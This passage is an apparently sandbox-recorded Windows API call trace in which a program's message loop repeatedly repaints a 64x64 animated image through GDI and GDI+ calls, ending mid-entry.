[0131.187] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.187] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0131.188] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.188] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.188] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0131.188] GdipCreateRegion (region=0x15dc20) returned 0x0 [0131.188] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0131.188] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0131.188] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0131.188] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.188] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.189] GetSystemMetrics (nIndex=42) returned 0 [0131.189] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.189] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.189] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.189] CoTaskMemFree (pv=0x1e7ac120) [0131.189] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0131.189] GdipCreateRegion (region=0x15d710) returned 0x0 [0131.189] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0131.189] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0131.189] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0131.189] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0131.189] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.189] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.190] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.190] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0131.190] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.190] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.190] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.191] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.191] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0131.191] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0131.191] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0131.191] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0131.191] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.191] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0131.191] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0131.191] GetCurrentObject (hdc=0x4e0107cb, type=0x1) returned 0x1b00017 [0131.191] GetCurrentObject (hdc=0x4e0107cb, type=0x2) returned 0x1900010 [0131.191] GetCurrentObject (hdc=0x4e0107cb, type=0x7) returned 0x1a05067e [0131.191] GetCurrentObject (hdc=0x4e0107cb, type=0x6) returned 0x18a002e [0131.192] SaveDC (hdc=0x4e0107cb) returned 1 [0131.192] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff880407c3 [0131.192] GetClipRgn (hdc=0x4e0107cb, hrgn=0xffffffff880407c3) returned 0 [0131.192] SelectClipRgn (hdc=0x4e0107cb, hrgn=0x58040b8a) returned 2 [0131.192] DeleteObject (ho=0xffffffff880407c3) returned 1 [0131.192] DeleteObject (ho=0x58040b8a) returned 1 [0131.192] OffsetViewportOrgEx (in: hdc=0x4e0107cb, x=0, y=0, lppt=0x27e6758 | out: lppt=0x27e6758) returned 1 [0131.192] GetNearestColor (hdc=0x4e0107cb, color=0xffffff) returned 0xffffff [0131.192] CreateSolidBrush (color=0xffffff) returned 0x60100190 [0131.192] FillRect (hDC=0x4e0107cb, lprc=0x15d7c0, hbr=0x60100190) returned 1 [0131.192] DeleteObject (ho=0x60100190) returned 1 [0131.192] RestoreDC (hdc=0x4e0107cb, nSavedDC=-1) returned 1 [0131.193] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.193] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4e0107cb) returned 0x0 [0131.193] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd260dbd) returned 0x0 [0131.193] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.193] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0131.193] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.193] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.193] GetSystemMetrics (nIndex=42) returned 0 [0131.193] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.193] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.193] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.193] CoTaskMemFree (pv=0x1e7ac120) [0131.193] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0131.193] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0131.194] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0131.194] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0131.194] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x4e0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.194] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.194] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4e0107cb) returned 0x0 [0131.194] SelectObject (hdc=0x4e0107cb, h=0x185000f) returned 0x1a05067e [0131.194] DeleteDC (hdc=0x4e0107cb) returned 1 [0131.194] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.194] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0131.194] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0131.194] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0131.195] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.195] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.195] WaitMessage () returned 1 [0131.372] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.372] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.372] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.372] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.372] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.372] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0131.372] GetCurrentThreadId () returned 0xec0 [0131.372] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0131.372] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.372] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.373] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.373] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.373] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.373] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0131.373] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0131.373] CreateCompatibleDC (hdc=0x3010b83) returned 0x4f0107cb [0131.373] SelectObject (hdc=0x4f0107cb, h=0x1a05067e) returned 0x185000f [0131.373] GdipCreateFromHDC (hdc=0x4f0107cb, graphics=0x15daf0) returned 0x0 [0131.373] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0131.374] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0131.374] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0131.374] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0131.374] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0131.374] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.374] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0131.375] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.375] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.375] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0131.375] GdipCreateRegion (region=0x15dc20) returned 0x0 [0131.375] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0131.375] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0131.375] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0131.375] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.375] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.375] GetSystemMetrics (nIndex=42) returned 0 [0131.375] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.375] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.375] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.376] CoTaskMemFree (pv=0x1e7ac120) [0131.376] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0131.376] GdipCreateRegion (region=0x15d710) returned 0x0 [0131.376] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0131.376] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0131.376] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0131.376] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0131.376] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.376] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.377] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.377] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0131.377] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.377] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.377] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.377] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.377] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0131.377] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0131.377] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0131.377] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0131.378] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.378] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0131.378] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0131.378] GetCurrentObject (hdc=0x4f0107cb, type=0x1) returned 0x1b00017 [0131.378] GetCurrentObject (hdc=0x4f0107cb, type=0x2) returned 0x1900010 [0131.378] GetCurrentObject (hdc=0x4f0107cb, type=0x7) returned 0x1a05067e [0131.378] GetCurrentObject (hdc=0x4f0107cb, type=0x6) returned 0x18a002e [0131.378] SaveDC (hdc=0x4f0107cb) returned 1 [0131.378] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x59040b8a [0131.378] GetClipRgn (hdc=0x4f0107cb, hrgn=0x59040b8a) returned 0 [0131.378] SelectClipRgn (hdc=0x4f0107cb, hrgn=0xffffffff890407c3) returned 2 [0131.378] DeleteObject (ho=0x59040b8a) returned 1 [0131.378] DeleteObject (ho=0xffffffff890407c3) returned 1 [0131.378] OffsetViewportOrgEx (in: hdc=0x4f0107cb, x=0, y=0, lppt=0x27e7090 | out: lppt=0x27e7090) returned 1 [0131.378] GetNearestColor (hdc=0x4f0107cb, color=0xffffff) returned 0xffffff [0131.379] CreateSolidBrush (color=0xffffff) returned 0x61100190 [0131.379] FillRect (hDC=0x4f0107cb, lprc=0x15d7c0, hbr=0x61100190) returned 1 [0131.379] DeleteObject (ho=0x61100190) returned 1 [0131.379] RestoreDC (hdc=0x4f0107cb, nSavedDC=-1) returned 1 [0131.379] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.379] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4f0107cb) returned 0x0 [0131.379] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd240dbd) returned 0x0 [0131.379] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.379] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0131.379] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.379] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.379] GetSystemMetrics (nIndex=42) returned 0 [0131.379] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.379] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.379] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.380] CoTaskMemFree (pv=0x1e7ac120) [0131.380] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0131.382] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0131.382] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0131.382] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0131.382] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0131.382] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x4f0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.382] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.382] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4f0107cb) returned 0x0 [0131.382] SelectObject (hdc=0x4f0107cb, h=0x185000f) returned 0x1a05067e [0131.382] DeleteDC (hdc=0x4f0107cb) returned 1 [0131.383] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.383] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0131.383] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0131.383] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0131.383] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.383] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.383] WaitMessage () returned 1 [0131.512] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.512] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.512] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.512] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.512] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.513] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0131.513] GetCurrentThreadId () returned 0xec0 [0131.513] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0131.513] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.513] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.513] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.513] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.513] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.513] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0131.513] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0131.513] CreateCompatibleDC (hdc=0x3010b83) returned 0x500107cb [0131.513] SelectObject (hdc=0x500107cb, h=0x1a05067e) returned 0x185000f [0131.513] GdipCreateFromHDC (hdc=0x500107cb, graphics=0x15daf0) returned 0x0 [0131.514] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0131.514] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0131.514] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0131.514] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0131.514] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0131.514] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.514] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0131.514] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.515] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.515] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0131.515] GdipCreateRegion (region=0x15dc20) returned 0x0 [0131.515] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0131.515] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0131.515] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0131.515] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.515] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.515] GetSystemMetrics (nIndex=42) returned 0 [0131.516] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.516] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.516] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.516] CoTaskMemFree (pv=0x1e7ac120) [0131.516] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0131.516] GdipCreateRegion (region=0x15d710) returned 0x0 [0131.516] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0131.516] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0131.516] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0131.516] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0131.516] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.516] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.517] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.517] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0131.517] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.517] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.517] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.517] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.517] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0131.517] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0131.517] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0131.518] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0131.518] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.518] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0131.518] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0131.518] GetCurrentObject (hdc=0x500107cb, type=0x1) returned 0x1b00017 [0131.518] GetCurrentObject (hdc=0x500107cb, type=0x2) returned 0x1900010 [0131.518] GetCurrentObject (hdc=0x500107cb, type=0x7) returned 0x1a05067e [0131.518] GetCurrentObject (hdc=0x500107cb, type=0x6) returned 0x18a002e [0131.518] SaveDC (hdc=0x500107cb) returned 1 [0131.518] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff8a0407c3 [0131.519] GetClipRgn (hdc=0x500107cb, hrgn=0xffffffff8a0407c3) returned 0 [0131.519] SelectClipRgn (hdc=0x500107cb, hrgn=0x5a040b8a) returned 2 [0131.519] DeleteObject (ho=0xffffffff8a0407c3) returned 1 [0131.519] DeleteObject (ho=0x5a040b8a) returned 1 [0131.519] OffsetViewportOrgEx (in: hdc=0x500107cb, x=0, y=0, lppt=0x27e83b0 | out: lppt=0x27e83b0) returned 1 [0131.519] GetNearestColor (hdc=0x500107cb, color=0xffffff) returned 0xffffff [0131.519] CreateSolidBrush (color=0xffffff) returned 0x62100190 [0131.519] FillRect (hDC=0x500107cb, lprc=0x15d7c0, hbr=0x62100190) returned 1 [0131.519] DeleteObject (ho=0x62100190) returned 1 [0131.519] RestoreDC (hdc=0x500107cb, nSavedDC=-1) returned 1 [0131.519] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.520] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x500107cb) returned 0x0 [0131.520] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd220dbd) returned 0x0 [0131.520] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.520] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0131.520] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.520] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.520] GetSystemMetrics (nIndex=42) returned 0 [0131.520] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.520] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.520] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.520] CoTaskMemFree (pv=0x1e7ac120) [0131.520] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0131.521] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0131.521] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0131.521] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0131.521] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x500107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.521] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.521] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x500107cb) returned 0x0 [0131.521] SelectObject (hdc=0x500107cb, h=0x185000f) returned 0x1a05067e [0131.521] DeleteDC (hdc=0x500107cb) returned 1 [0131.521] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.521] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0131.522] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0131.522] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0131.522] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.522] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.522] WaitMessage () returned 1 [0131.684] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.685] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.685] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.685] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.685] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.685] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0131.685] GetCurrentThreadId () returned 0xec0 [0131.685] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0131.685] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.685] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.686] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.686] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.686] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.686] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0131.686] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0131.686] CreateCompatibleDC (hdc=0x3010b83) returned 0x510107cb [0131.686] SelectObject (hdc=0x510107cb, h=0x1a05067e) returned 0x185000f [0131.687] GdipCreateFromHDC (hdc=0x510107cb, graphics=0x15daf0) returned 0x0 [0131.687] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0131.687] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0131.687] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0131.687] GdipGetWorldTransform (graphics=0x1de4fd10, 